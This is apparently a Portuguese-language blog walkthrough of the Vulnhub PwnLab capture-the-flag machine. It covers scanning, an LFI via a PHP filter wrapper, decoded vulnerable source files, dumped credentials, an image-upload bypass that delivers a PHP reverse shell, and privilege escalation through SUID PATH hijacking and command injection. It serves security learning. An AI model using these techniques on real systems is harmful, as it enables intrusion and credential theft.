Home Vulnhub - PwnLab
Post
Cancel

Vulnhub - PwnLab

Scan/Enumeracao

Host Discovery

Com o comando arp-scan varremos a rede para descobrir os hosts ativos e consequentemente o IP do nosso alvo: 192.168.110.7

1
sudo arp-scan -I eth1 192.168.110.0/24

Port Discovery

Com o parametro “-p-“ do nmap varremos todas as portas possiveis do nosso alvo e encontramos 03 delas abertas. 80, 111, 3306 e 36281

1
sudo nmap -n -T5 -p- 192.168.110.7

Port Scan

Agora com o parametro “-A” do nmap vamos descobrir mais informacoes sobre essas portas abertas do nosso alvo

1
sudo nmap -n -T5 -A -p 80,111,3306,36281 192.168.110.7

  • Porta 80: Apache httpd 2.4.10 ((Debian))
  • Porta 111: rpcbind 2-4 (RPC #100000)
  • Porta 3306: MySQL 5.5.47-0+deb8u1
  • Porta 36281: 1 (RPC #100024)

Enumeracao/Exploracao Web - Porta 80

Inspecao Visual

Acessamos a pagina pelo broser e temos um site que podemos subir imagens e arquivos para o servidor

Nao encontramos nada de interessante no codigo fonte

Fuzzy de Diretorios - FFUF

O comando ffuf e uma boa alternativa para realizar fuzzy de diretorios. Esse programa e parecido com o wfuzz, a sua principal diferenca consiste na linguagem que e feito, GO, que o torna um pouco mais performatico que aquele

Encontramos alguns diretorios e arquivos com o fuzzy: config.php, images, login.php, index.php, server-status, upload.php e upload

1
ffuf -w /usr/share/wordlists/dirb/big.txt -u http://192.168.110.7/FUZZ -e .php

LFI

Depois de quebrar a cabeca por muito tempo para achar alguma brecha nessa maquina, consegui encontrar uma dica SINISTRA no site DIABLOHORN.

Resumindo… nao conseguimos explorar o LFI da forma tradicional que estamos acostumados. Esse metodo consiste em chamar um arquivo usando um filtro do php e encodando em base64

Entao conseguimos ver o conteudo dos arquivos que encontrmaos no fuzzy. Primeiramente vamos explorar o config.php

1
http://192.168.110.7/?page=php://filter/convert.base64-encode/resource=config

PD9waHANCiRzZXJ2ZXIJICA9ICJsb2NhbGhvc3QiOw0KJHVzZXJuYW1lID0gInJvb3QiOw0KJHBhc3N3b3JkID0gIkg0dSVRSl9IOTkiOw0KJGRhdGFiYXNlID0gIlVzZXJzIjsNCj8+

  • Decodificando em base64 temos:
1
2
3
4
5
6
 <?php
$server	  = "localhost";
$username = "root";
$password = "H4u%QJ_H99";
$database = "Users";
?>

Vamos dar uma olhada no arquivo index.php

1
http://192.168.110.7/?page=php://filter/convert.base64-encode/resource=index

PD9waHANCi8vTXVsdGlsaW5ndWFsLiBOb3QgaW1wbGVtZW50ZWQgeWV0Lg0KLy9zZXRjb29raWUoImxhbmciLCJlbi5sYW5nLnBocCIpOw0KaWYgKGlzc2V0KCRfQ09PS0lFWydsYW5nJ10pKQ0Kew0KCWluY2x1ZGUoImxhbmcvIi4kX0NPT0tJRVsnbGFuZyddKTsNCn0NCi8vIE5vdCBpbXBsZW1lbnRlZCB5ZXQuDQo/Pg0KPGh0bWw+DQo8aGVhZD4NCjx0aXRsZT5Qd25MYWIgSW50cmFuZXQgSW1hZ2UgSG9zdGluZzwvdGl0bGU+DQo8L2hlYWQ+DQo8Ym9keT4NCjxjZW50ZXI+DQo8aW1nIHNyYz0iaW1hZ2VzL3B3bmxhYi5wbmciPjxiciAvPg0KWyA8YSBocmVmPSIvIj5Ib21lPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9bG9naW4iPkxvZ2luPC9hPiBdIFsgPGEgaHJlZj0iP3BhZ2U9dXBsb2FkIj5VcGxvYWQ8L2E+IF0NCjxoci8+PGJyLz4NCjw/cGhwDQoJaWYgKGlzc2V0KCRfR0VUWydwYWdlJ10pKQ0KCXsNCgkJaW5jbHVkZSgkX0dFVFsncGFnZSddLiIucGhwIik7DQoJfQ0KCWVsc2UNCgl7DQoJCWVjaG8gIlVzZSB0aGlzIHNlcnZlciB0byB1cGxvYWQgYW5kIHNoYXJlIGltYWdlIGZpbGVzIGluc2lkZSB0aGUgaW50cmFuZXQiOw0KCX0NCj8+DQo8L2NlbnRlcj4NCjwvYm9keT4NCjwvaHRtbD4=

  • Decodificando em base64 temos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
 <?php
//Multilingual. Not implemented yet.
//setcookie("lang","en.lang.php");
if (isset($_COOKIE['lang']))
{
	include("lang/".$_COOKIE['lang']);
}
// Not implemented yet.
?>
<html>
<head>
<title>PwnLab Intranet Image Hosting</title>
</head>
<body>
<center>
<img src="images/pwnlab.png"><br />
[ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
<hr/><br/>
<?php
	if (isset($_GET['page']))
	{
		include($_GET['page'].".php");
	}
	else
	{
		echo "Use this server to upload and share image files inside the intranet";
	}
?>
</center>
</body>
</html>

No fuzzy encontramos outra pagina, upload.php, entao vamos dar uma olhada nela

1
http://192.168.110.7/?page=php://filter/convert.base64-encode/resource=upload

PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmlmICghaXNzZXQoJF9TRVNTSU9OWyd1c2VyJ10pKSB7IGRpZSgnWW91IG11c3QgYmUgbG9nIGluLicpOyB9DQo/Pg0KPGh0bWw+DQoJPGJvZHk+DQoJCTxmb3JtIGFjdGlvbj0nJyBtZXRob2Q9J3Bvc3QnIGVuY3R5cGU9J211bHRpcGFydC9mb3JtLWRhdGEnPg0KCQkJPGlucHV0IHR5cGU9J2ZpbGUnIG5hbWU9J2ZpbGUnIGlkPSdmaWxlJyAvPg0KCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgbmFtZT0nc3VibWl0JyB2YWx1ZT0nVXBsb2FkJy8+DQoJCTwvZm9ybT4NCgk8L2JvZHk+DQo8L2h0bWw+DQo8P3BocCANCmlmKGlzc2V0KCRfUE9TVFsnc3VibWl0J10pKSB7DQoJaWYgKCRfRklMRVNbJ2ZpbGUnXVsnZXJyb3InXSA8PSAwKSB7DQoJCSRmaWxlbmFtZSAgPSAkX0ZJTEVTWydmaWxlJ11bJ25hbWUnXTsNCgkJJGZpbGV0eXBlICA9ICRfRklMRVNbJ2ZpbGUnXVsndHlwZSddOw0KCQkkdXBsb2FkZGlyID0gJ3VwbG9hZC8nOw0KCQkkZmlsZV9leHQgID0gc3RycmNocigkZmlsZW5hbWUsICcuJyk7DQoJCSRpbWFnZWluZm8gPSBnZXRpbWFnZXNpemUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddKTsNCgkJJHdoaXRlbGlzdCA9IGFycmF5KCIuanBnIiwiLmpwZWciLCIuZ2lmIiwiLnBuZyIpOyANCg0KCQlpZiAoIShpbl9hcnJheSgkZmlsZV9leHQsICR3aGl0ZWxpc3QpKSkgew0KCQkJZGllKCdOb3QgYWxsb3dlZCBleHRlbnNpb24sIHBsZWFzZSB1cGxvYWQgaW1hZ2VzIG9ubHkuJyk7DQoJCX0NCg0KCQlpZihzdHJwb3MoJGZpbGV0eXBlLCdpbWFnZScpID09PSBmYWxzZSkgew0KCQkJZGllKCdFcnJvciAwMDEnKTsNCgkJfQ0KDQoJCWlmKCRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvZ2lmJyAmJiAkaW1hZ2VpbmZvWydtaW1lJ10gIT0gJ2ltYWdlL2pwZWcnICYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvanBnJyYmICRpbWFnZWluZm9bJ21pbWUnXSAhPSAnaW1hZ2UvcG5nJykgew0KCQkJZGllKCdFcnJvciAwMDInKTsNCgkJfQ0KDQoJCWlmKHN1YnN0cl9jb3VudCgkZmlsZXR5cGUsICcvJyk+MSl7DQoJCQlkaWUoJ0Vycm9yIDAwMycpOw0KCQl9DQoNCgkJJHVwbG9hZGZpbGUgPSAkdXBsb2FkZGlyIC4gbWQ1KGJhc2VuYW1lKCRfRklMRVNbJ2ZpbGUnXVsnbmFtZSddKSkuJGZpbGVfZXh0Ow0KDQoJCWlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1snZmlsZSddWyd0bXBfbmFtZSddLCAkdXBsb2FkZmlsZSkpIHsNCgkJCWVjaG8gIjxpbWcgc3JjPVwiIi4kdXBsb2FkZmlsZS4iXCI+PGJyIC8+IjsNCgkJfSBlbHNlIHsNCgkJCWRpZSgnRXJyb3IgNCcpOw0KCQl9DQoJfQ0KfQ0KDQo/Pg==

  • Decodificando em base64 temos:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
 <?php
session_start();
if (!isset($_SESSION['user'])) { die('You must be log in.'); }
?>
<html>
	<body>
		<form action='' method='post' enctype='multipart/form-data'>
			<input type='file' name='file' id='file' />
			<input type='submit' name='submit' value='Upload'/>
		</form>
	</body>
</html>
<?php 
if(isset($_POST['submit'])) {
	if ($_FILES['file']['error'] <= 0) {
		$filename  = $_FILES['file']['name'];
		$filetype  = $_FILES['file']['type'];
		$uploaddir = 'upload/';
		$file_ext  = strrchr($filename, '.');
		$imageinfo = getimagesize($_FILES['file']['tmp_name']);
		$whitelist = array(".jpg",".jpeg",".gif",".png"); 

		if (!(in_array($file_ext, $whitelist))) {
			die('Not allowed extension, please upload images only.');
		}

		if(strpos($filetype,'image') === false) {
			die('Error 001');
		}

		if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
			die('Error 002');
		}

		if(substr_count($filetype, '/')>1){
			die('Error 003');
		}

		$uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;

		if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
			echo "<img src=\"".$uploadfile."\"><br />";
		} else {
			die('Error 4');
		}
	}
}

?>

MySQL - Porta 3306

Conseguimos logar no MySQL do alvo com a credencial que encontramos: root:H4u%QJ_H99

1
mysql -h 192.168.110.7 -uroot -pH4u%QJ_H99

Listamos os bancos de dados existentens e selecionamos o DB Users

1
2
show databases;
use Users

Listamos as tabelas do banco, e encontramos somente uma. Agora listamos todo o conteudo da tabela users. Encontramos 03 credenciais nessa tabela, as senhas parecem estar codificadas em base64

1
2
show tables;
select * from users;

kent:Sld6WHVCSkpOeQ==

mike:U0lmZHNURW42SQ==

kane:aVN2NVltMkdSbw==

  • Decodificando o hashes das senhas temos:
1
2
3
echo "Sld6WHVCSkpOeQ==" | base64 -d
echo "U0lmZHNURW42SQ==" | base64 -d
echo "aVN2NVltMkdSbw==" | base64 -d

kent:JWzXuBJJNy

mike:SIfdsTEn6I

kane:iSv5Ym2GRo

Web - Porta 80

Agora que temos 03 credenciais vamos logar na aplicacao com kane:iSv5Ym2GRo

Shell Reverso

Quando exploramos o LFI e vimos o arquivo upload.php, conseguimos observar que somente imagens (jpg, jpeg, gif, png) podem ser upadas para o servidor… Entao vamos copiar o tradicional “php do mal” do kali editar o IP e a porta e inserir no inicio o “magic number” de uma das extensoes que a aplicacao aceita

Nao conseguimos subir o arquivo “charlie.php”. E provavel que a aplicacao esteja filtrando, tambem, pela extensao. Entao alteramos a extensao do arquivo para “charlie.gif”

Enviamos para o servidor o nosso payload porem nao conseguimos executa-lo manualmente no diretorio /upload, pois ele esta com a extensao “.gif”

Depois de algumas pesquisas, verificamos na analise do codigo da pagina “index” que ele executa o que estiver sendo passado como cookie “lang

Para analisar como esta sendo enviado os cookies e editar a requisicao vamos para o burp.

Agora vamos adicionar o cookie chamando o nosso arquivo que upamos para o servidor.

Usuario “www-data”

Primeiramente deixamos uma porta escutando, mas antes inivocamos o bash no terminal, pois estamos com o zsh. Enviamos a requisicao e conseguimos pegar o shell reverso do usuario. Depois de ter conseguido o shell, realizamos o procedimento para a melhoria do mesmo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# Kali
bash
nc -lvnp 3333

# Alvo
python -c 'import pty;pty.spawn("/bin/bash");'
# CTRL+Z

# Kali
stty raw -echo
# Duas vezes ENTER

# Alvo
export TERM=xterm

Usuario “kent”

Conseguimos logar com o usuario kent reutilizando a senha que encontramos no banco de dados da aplicacao web kent:JWzXuBJJNy

Usuario “kane”

Da mesma forma que conseguimos reutilizar a senha do kent conseguimos logar com o kane reutilizando a senha da aplicacao web kane:iSv5Ym2GRo

Olhando o que tem no /home/kane encontramos um binario msgmike com SUID habilitado

Executando o binario podemos perceber que ele executa o comando “cat

Ja que podemos executar o binario como se o dono fosse (mike), podemos fazer um sequestro de PATH para escalar privilegio.

  • 1- Primeiramente vamos criar um script com o mesmo nome do comando utilizado no binario (cat), utilizando a tecnica “Here Documents”

  • 2- Dar permissao de exeecucao para o script

  • 3- Incluir o diretorio que esta o script no inicio da variavel PATH

  • 4- Verificar se o diretorio do script esta no inicio do $PATH

  • 5- Executar o binario “msgmike”

  • 6- Conseguimos o shell do usuario mike

Usuario “mike”

Verificamos o diretorio /home/mike e temos outro arquivo com permissao especial SUID, mas desta vez o dono e o root

Executando o binario, parece que e enviada uma mensagem para o root

Analisamos com mais precisao executando o comando “strings” no binario. A principio ele imprime o que digitamos em um arquivo /root/messages.txt

Realizamos um teste para ver se conseguimos concatenar comandos, e recebemos um resultado promissor

Usuario “root”

Conseguimos pegar o shell de root

Flag Root

Para conseguir ler a flag do root, precisamos antes corrigir o que fizemos com o comando cat, ou simplesmente usar outro comando prar ler o arquivo

This post is licensed under CC BY 4.0 by the author.
Contents